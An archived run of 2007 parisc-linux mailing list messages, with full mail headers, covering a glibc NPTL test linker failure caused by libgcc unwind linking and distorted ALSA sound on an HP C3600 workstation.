X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: f8wPdTl+PTRtyejGPjIwgp4xc2tpZItI
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24533

On 03/05/07, Carlos O'Donell <carlos@systemhalted.org> wrote:
> On 5/3/07, Jeff Bailey <jbailey@raspberryginger.com> wrote:
> > To work around the gcc pic/tls bug, I'm using this patch:
> > http://people.ubuntu.com/~jbailey/hppa-caller-save-pic-tls.dpatch
> >
> > I thought it would be interesting to compare glibc testsuite failures:
>
> My full list follows, which is smaller than your full list. I am using
> gcc head, and a very recent binutils.
>
> libc/dlfcn/tststatic.out
> libc/dlfcn/tststatic2.out
> libc/nptl/tst-cancel24.o
> libc/nptl/tst-cancelx4.out

> Catch me if you can! :-)

I'm travelling at the moment, so basic troubleshooting is going to be
a bit delayed, just as a quick status report, I'm getting linker
failures in some of the tests.  I've checked that nptl/libpthread.so
has _Unwind_Resume in it, so I'll need to do more hunting this week.

Error message follows in case someone has an obvious "aha":

gcc-4.1 -fno-stack-protector -nostdlib -nostartfiles -o /home/jbailey/Programmin
g/packages/glibc/glibc-2.5/build-tree/hppa-libc/nptl/tst-cancelx4  -Wl,-dynamic-
linker=/lib/ld.so.1   -Wl,-z,combreloc  -Wl,--hash-style=both /home/jbailey/Prog
ramming/packages/glibc/glibc-2.5/build-tree/hppa-libc/csu/crt1.o /home/jbailey/P
rogramming/packages/glibc/glibc-2.5/build-tree/hppa-libc/csu/crti.o `gcc-4.1 -fn
o-stack-protector --print-file-name=crtbegin.o` /home/jbailey/Programming/packag
es/glibc/glibc-2.5/build-tree/hppa-libc/nptl/tst-cancelx4.o /home/jbailey/Progra
mming/packages/glibc/glibc-2.5/build-tree/hppa-libc/nptl/libpthread.so /home/jba
iley/Programming/packages/glibc/glibc-2.5/build-tree/hppa-libc/nptl/libpthread_n
onshared.a  -Wl,-rpath-link=/home/jbailey/Programming/packages/glibc/glibc-2.5/b
uild-tree/hppa-libc:/home/jbailey/Programming/packages/glibc/glibc-2.5/build-tre
e/hppa-libc/math:/home/jbailey/Programming/packages/glibc/glibc-2.5/build-tree/h
ppa-libc/elf:/home/jbailey/Programming/packages/glibc/glibc-2.5/build-tree/hppa-
libc/dlfcn:/home/jbailey/Programming/packages/glibc/glibc-2.5/build-tree/hppa-li
bc/nss:/home/jbailey/Programming/packages/glibc/glibc-2.5/build-tree/hppa-libc/n
is:/home/jbailey/Programming/packages/glibc/glibc-2.5/build-tree/hppa-libc/rt:/h
ome/jbailey/Programming/packages/glibc/glibc-2.5/build-tree/hppa-libc/resolv:/ho
me/jbailey/Programming/packages/glibc/glibc-2.5/build-tree/hppa-libc/crypt:/home
/jbailey/Programming/packages/glibc/glibc-2.5/build-tree/hppa-libc/nptl /home/jb
ailey/Programming/packages/glibc/glibc-2.5/build-tree/hppa-libc/libc.so.6 /home/
jbailey/Programming/packages/glibc/glibc-2.5/build-tree/hppa-libc/libc_nonshared
.a -lgcc `gcc-4.1 -fno-stack-protector --print-file-name=crtend.o` /home/jbailey
/Programming/packages/glibc/glibc-2.5/build-tree/hppa-libc/csu/crtn.o
/home/jbailey/Programming/packages/glibc/glibc-2.5/build-tree/hppa-libc/nptl/tst
-cancelx4.o: In function `tf_accept':
/home/jbailey/Programming/packages/glibc/glibc-2.5/build-tree/glibc-2.5/nptl/tst
-cancel4.c:1000: warning: the use of `mktemp' is dangerous, better use `mkstemp'
/home/jbailey/Programming/packages/glibc/glibc-2.5/build-tree/hppa-libc/nptl/tst
-cancelx4.o: In function `tf_read':
(.text+0xc30): undefined reference to `_Unwind_Resume'
/home/jbailey/Programming/packages/glibc/glibc-2.5/build-tree/hppa-libc/nptl/tst
-cancelx4.o: In function `tf_readv':
(.text+0xd7c): undefined reference to `_Unwind_Resume'
/home/jbailey/Programming/packages/glibc/glibc-2.5/build-tree/hppa-libc/nptl/tst
-cancelx4.o: In function `tf_write':
(.text+0xecc): undefined reference to `_Unwind_Resume'
/home/jbailey/Programming/packages/glibc/glibc-2.5/build-tree/hppa-libc/nptl/tst
-cancelx4.o: In function `tf_writev':
(.text+0x102c): undefined reference to `_Unwind_Resume'
/home/jbailey/Programming/packages/glibc/glibc-2.5/build-tree/hppa-libc/nptl/tst
-cancelx4.o: In function `tf_sleep':
(.text+0x10dc): undefined reference to `_Unwind_Resume'
/home/jbailey/Programming/packages/glibc/glibc-2.5/build-tree/hppa-libc/nptl/tst
-cancelx4.o:(.text+0x118c): more undefined references to `_Unwind_Resume' follow
/home/jbailey/Programming/packages/glibc/glibc-2.5/build-tree/hppa-libc/nptl/tst
-cancelx4.o:(.data+0x3c): undefined reference to `__gcc_personality_v0'
collect2: ld returned 1 exit status
make[3]: *** [/home/jbailey/Programming/packages/glibc/glibc-2.5/build-tree/hppa
-libc/nptl/tst-cancelx4] Error 1

-- 
Jeff Bailey - http://www.raspberryginger.com/jbailey/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] unaligned access using bash on glibc 2.5
Date: Sun, 6 May 2007 16:14:57 -0400 (EDT)
Lines: 29
Approved: news@gmane.org
Message-ID: <200705062014.l46KEwGC028974__42059.9829093137$1416624355$gmane$org@hiauly1.hia.nrc.ca>
References: <119aab440705061209k26717859y19b7f4aa0272d386@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624355 23776 80.91.229.3 (22 Nov 2014 02:45:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:55 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 aurelien@aurel32.net
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 May 2007 20:15:10 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx013) with SMTP; 06 May 2007 22:15:10 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7F8427DC5F;
	Sun,  6 May 2007 14:15:08 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12297-07; Sun, 6 May 2007 14:15:08 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5D7197DC62;
	Sun,  6 May 2007 14:15:07 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B83E07DC5F
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  6 May 2007 14:15:02 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12297-04 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 6 May 2007 14:15:00 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id CF1A27DBDA
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  6 May 2007 14:15:00 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l46KExJu028979;
	Sun, 6 May 2007 16:14:59 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l46KEwGC028974;
	Sun, 6 May 2007 16:14:58 -0400 (EDT)
In-Reply-To: <119aab440705061209k26717859y19b7f4aa0272d386@mail.gmail.com>
	from "Carlos O'Donell" at May 6, 2007 03:09:56 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ewUMdT1+PTRtyejGPjIw0xMxc2tpZIuu
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24534

> Yes, I fixed this in my local tree already. For some reason we aren't
> liking in libgcc_s.so.
> 
> http://www.parisc-linux.org/~carlos/2007-05-06-nptl.diff
> 
> Dave, are our specs broken in gcc?

Don't think so.

The link command specifies -nostdlib and -lgcc.  The former means
that gcc shouldn't provide any standard libraries.  The latter links
against libgcc.a.  It doesn't have the unwind stuff.  You need to
either add -lgcc_eh or use -lgcc_s in the link command.

The default for the gcc driver is to link using the archive version
of libgcc.  You can add --shared-libgcc to cause it to use the shared
version.  The g++ driver uses the shared version by default.  Of
course, this doesn't happen when -nostdlib is specified.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] unaligned access using bash on glibc 2.5
Date: Sun, 6 May 2007 22:55:29 -0400 (EDT)
Lines: 21
Approved: news@gmane.org
Message-ID: <200705070255.l472tU1r028044__22682.3092707948$1416624355$gmane$org@hiauly1.hia.nrc.ca>
References: <119aab440705061908x4f8501d4gb4901285210480c@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624355 23778 80.91.229.3 (22 Nov 2014 02:45:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:55 +0000 (UTC)
Cc: aurelien@aurel32.net,
 parisc-linux@lists.parisc-linux.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 May 2007 02:56:02 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx062) with SMTP; 07 May 2007 04:56:02 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F16797D9C4;
	Sun,  6 May 2007 20:55:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14908-01; Sun, 6 May 2007 20:55:57 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 67AF87DB95;
	Sun,  6 May 2007 20:55:54 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AE4497DCC5
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  6 May 2007 20:55:50 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14568-08 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 6 May 2007 20:55:49 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id D9C317DCB6
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  6 May 2007 20:55:48 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l472tVQE028050;
	Sun, 6 May 2007 22:55:31 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l472tU1r028044;
	Sun, 6 May 2007 22:55:30 -0400 (EDT)
In-Reply-To: <119aab440705061908x4f8501d4gb4901285210480c@mail.gmail.com> from
	"Carlos O'Donell" at May 6, 2007 10:08:06 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: eqINcks7f2I/3YicY2xo4MRwdWxlcxaE
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24535

> Interesting. Why isn't it this patch needed on any other arch? :-)

Don't know but there's one additional factor.  config/linux.h defines
USE_LD_AS_NEEDED if HAVE_LD_AS_NEEDED is defined.  This will add
"--as-needed -lgcc_s" for eh support.  I just checked in and
HAVE_LD_AS_NEEDED is defined in my builds, but if binutils is old
it might not be defined.  However, I would have to dig into to gcc.c
to see what happens when -nostdlibs is defined.  My first thought
is that it shouldn't add "--as-needed -lgcc_s" when -nostdlibs is
present.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Julian Stecklina <der_julian@web.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Sound problems on a C3600
Date: Mon, 07 May 2007 20:42:53 +0200
Lines: 78
Approved: news@gmane.org
Message-ID: <463F732D.6050904__41666.5710429244$1416624356$gmane$org@web.de>
References: <462A3C0D.8090004@web.de>
	<7d01f9f00704212103q1c6f8d42lc275946dceb8a893@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=UTF-8;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624356 23782 80.91.229.3 (22 Nov 2014 02:45:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:56 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 May 2007 18:43:07 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx026) with SMTP; 07 May 2007 20:43:07 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A54FB7DC3F;
	Mon,  7 May 2007 12:43:03 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23315-10; Mon, 7 May 2007 12:43:03 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5FA497DC41;
	Mon,  7 May 2007 12:43:01 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 124267DC3C
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  7 May 2007 12:42:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23451-04 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 7 May 2007 12:42:56 -0600 (MDT)
Original-Received: from mailout2.zih.tu-dresden.de (mailout2.zih.tu-dresden.de
	[141.30.67.73])
	by free.linux.hp.com (Postfix) with ESMTP id 053287DB65
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  7 May 2007 12:42:56 -0600 (MDT)
Original-Received: from rmc67-31.zih.tu-dresden.de ([141.30.67.31] helo=server-n)
	by mailout2.zih.tu-dresden.de with esmtp (Exim 4.63)
	(envelope-from <der_julian@web.de>) id 1Hl8Ag-0000gr-Ih
	for parisc-linux@lists.parisc-linux.org; Mon, 07 May 2007 20:42:54 +0200
Original-Received: from [192.168.0.250] (efficio.wh29.tu-dresden.de [141.30.207.25])
	by server-n (Postfix) with ESMTP id 3B240108E1E5
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  7 May 2007 20:42:54 +0200 (CEST)
User-Agent: Thunderbird 1.5.0.10 (X11/20070221)
In-Reply-To: <7d01f9f00704212103q1c6f8d42lc275946dceb8a893@mail.gmail.com>
X-TUD-Virus-Scanned: mailout2.zih.tu-dresden.de
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: D0EGfpUeYW0+k7uGbmZpJPd0amthc9tk
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24536

Thibaut VARENE wrote:
> On 4/21/07, Julian Stecklina <der_julian@web.de> wrote:
>> Hello,
>>
>> I am trying to get my HP Visualize C3600 to output some sound, but
>> without luck so far. Both the onboard AD1889 sound chip and a
>> Soundblaster Live! PCI only produce highly distorted noises with the
>> 2.6.20.1 kernel.
> 
> That "sounds" like an old alsa-on-parisc bug that I thought was fixed,
> but could you try using the OSS emulation instead of native ALSA, see
> if it does any better?

Tests done using the onboard AD1889 without any .asoundrc:

 > mplayer -ao oss ...
...
AO: [oss] 44100Hz 2ch s16be (2 bytes per sample)
...
Works!

 > mplayer -ao alsa ...
alsa-init: requested format: 44100 Hz, 2 channels, 8
alsa-init: using ALSA 1.0.14rc1
alsa-init: setup for 1/2 channel(s)
alsa-init: using device default
alsa-init: pcm opened in blocking mode
alsa-init: chunksize set to 1024
alsa-init: fragcount=16
alsa-init: got buffersize=65536
alsa-init: got period size 1024
alsa: 44100 Hz/2 channels/4 bpf/65536 bytes buffer/Signed 16 bit Big Endian
AO: [alsa] 44100Hz 2ch s16be (2 bytes per sample)


Doesn't work, noise. (Endian problem? Mplayer's fault?)

 > mplayer -ao alsa:device=hw=0,0 ...
...
alsa-init: requested format: 44100 Hz, 2 channels, 8
alsa-init: using ALSA 1.0.14rc1
alsa-init: setup for 1/2 channel(s)
alsa-init: using device hw:0
alsa-init: pcm opened in blocking mode
[AO_ALSA] Format s16be is not supported by hardware, trying default.
alsa-init: chunksize set to 1024
alsa-init: fragcount=16
alsa-init: got buffersize=65536
alsa-init: got period size 1024
alsa: 44100 Hz/2 channels/4 bpf/65536 bytes buffer/Signed 16 bit Little 
Endian
AO: [alsa] 44100Hz 2ch s16le (2 bytes per sample)
...

Works?!

I then did some tests using mpg123:
An mpg123 using OSS produces only noise as well (seems to be the endian 
issue again). An ALSA mpg123 produces some "cracks" and "scritches" (my 
English is probably not good enough to properly describe this), unless I 
   cause some disk access, then it produces distorted (but sometimes 
recognizable) sound...

uname -a:
Linux efficio 2.6.20.1-hppa #12 Mon May 7 17:40:45 CEST 2007 parisc
PA8600 (PCX-W+) 9000/785/C3600 GNU/Linux

I am happy to supply any needed debugging information. And btw, is the 
signaling issue mentioned in http://wiki.parisc-linux.org/AD1889 fixed, yet?

Regards,
Julian
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thibaut VARENE" <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Sound problems on a C3600
Date: Tue, 8 May 2007 00:31:52 +0200
Lines: 53
Approved: news@gmane.org
Message-ID: <7d01f9f00705071531n6d5d045i365ddeb2074c6e5f__31132.929135538$1416624356$gmane$org@mail.gmail.com>
References: <462A3C0D.8090004@web.de>
	<7d01f9f00704212103q1c6f8d42lc275946dceb8a893@mail.gmail.com>
	<463F732D.6050904@web.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=UTF-8;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624356 23783 80.91.229.3 (22 Nov 2014 02:45:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:56 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Julian Stecklina" <der_julian@web.de>
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 May 2007 22:32:04 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx026) with SMTP; 08 May 2007 00:32:04 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8FE137DC36;
	Mon,  7 May 2007 16:32:00 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24732-05; Mon, 7 May 2007 16:32:00 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 47C2C7DC3A;
	Mon,  7 May 2007 16:31:58 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5B2CE7DC2A
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  7 May 2007 16:31:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24732-02 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 7 May 2007 16:31:53 -0600 (MDT)
Original-Received: from an-out-0708.google.com (an-out-0708.google.com [209.85.132.244])
	by free.linux.hp.com (Postfix) with ESMTP id 8FBCE7DC29
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  7 May 2007 16:31:53 -0600 (MDT)
Original-Received: by an-out-0708.google.com with SMTP id b21so211951ana
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 07 May 2007 15:31:53 -0700 (PDT)
DKIM-Signature: a=rsa-sha1; c=relaxed/relaxed; d=gmail.com; s=beta;
	h=domainkey-signature:received:received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=YAkwOwK+tPGnlaMoWg5TSsdf9D1inRqaXNx/sylO/U9847wt45CZkwLiPrfLlekwLpaqaxWwEq3y3/UJRuPdy7k3E2pGp+5zfPeuFGXkkgj2PFm/EpUmbu43srYJVqfuIw2o/1aInND1QlDNw4PnTJ+Jn/2YZhLqJEtEAdyFJQc=
DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=FnUQmLMLsK0ikmSXx+l5ACK0DACdPOwE/XXtCIBvhRxxOD1kCQbrk33235tO70pyrEDHlNjy4oyC3Hy1oO4ikxNu8FiGiiYlrZ6NQp/+99Z+FQAXWUsun5MsmXyL/dXEGXuGbGeXZ+GqRr5o07tODfC2gH4D97/DMpTcvdyfpvA=
